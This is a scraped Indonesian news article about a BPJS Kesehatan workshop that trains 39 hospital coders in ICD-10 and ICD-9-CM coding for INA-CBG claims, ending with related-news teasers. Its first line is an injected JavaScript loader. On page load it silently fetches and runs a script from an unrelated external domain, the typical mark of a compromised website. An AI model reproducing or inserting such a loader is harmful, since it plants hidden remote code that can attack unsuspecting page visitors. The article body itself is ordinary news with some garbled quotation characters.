(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan Cabang Banjarmasin bersama BPJS Kesehatan Cabang Barabai mengadakan kegiatan workshop peningkatan mutu koding klinis bagi 39 koder rumah sakit yang sudah menjadi mitra pihak BPJS Kesehatan.
Bekerjasama dengan BPJS Kesehatan serta verifikator BPJS Kesehatan, workshop peningkatan mutu koding klinis sendiri mengundang narasumber dari Dewan Pimpinan Pusat Perhimpunan Profesional Perekam Medis dan Informasi Kesehatan Indonesia dan Kepala Pusat Pembiayaan dan Jaminan Kesehatan Kemeneterian Kesehatan RI.
Seperti diketahui sistem pembiayaan kesehatan di era Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS) diatur pola pembayaran kepada Fasilitas Kesehatan Tingkat Lanjutan adalah dengan Indonesian Case Base Groups (INA-CBG’s) sesuai dengan Peraturan Presiden Nomor 12 Tahun 2013 tentang Jaminan Kesehatan sebagaimana telah diubah dengan Peraturan Presiden Nomor 111 Tahun 2013.
“Pemahaman tentang INA-CBG’s dan koding diagnosis merupakan suatu hal yang harus dimiliki oleh profesi-profesi terkait, terutama Dokter Penanggung Jawab Pelayanan (DPJP), petugas koding dan petugas yang bertanggung jawab untuk pengajuan klaim di rumah sakit. Oleh karenanya, diharapkan dengan dilaksanakannya acara workshop kali ini kita dapat lebih memahami bersama terkait aplikasi INA_CBG’s serta meningkatkan kemampuan melakukan koding diagnosis sesuai dengan kaidah yang berlaku,†jelas Kepala BPJS Kesehatan Cabang Barabai Sugiyanto.
Sebagaimana permasalahan yang terjadi di lapangan antara koder rumah sakit dan verifikator rumah sakit masih adanya perbedaan pendapat tentang Koding ICD-10 dan ICD-9-CM yang mengakibatkan adanya klaim pending.
Dasar pengelompokkan dalam INA-CBG’s menggunakan sistem kodifikasi dari diagnosis akhir dan tindakan/prosedur yang menjadi output pelayanan, dengan acuan ICD-10 untuk diagnosis dan ICD-9-CM untuk tindakan/prosedur. Pengelompokan menggunakan sistem teknologi informasi berupa Aplikasi INA-CBG yang menghasilkan kode-kode rawat inap dan rawat jalan. Klaim dengan sistem INA-CBG’s sangat tergantung pada ketepatan penulisan diagnosis yang dicantumkan dalam bentuk kode.
“Klaim dengan sistem INA-CBG’s sangat tergantung pada ketepatan penulisan diagnosis yang dicantumkan dalam bentuk kode. Kesalahan penulisan kode dapat mengakibatkan “under coding†atau “over codingâ€ÂÂ. Kesalahan ini berimbas pada besaran klaim biaya perawatan dan atau dapat menyentuh ranah hukum,†jelas Sugiyanto.(Arief)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.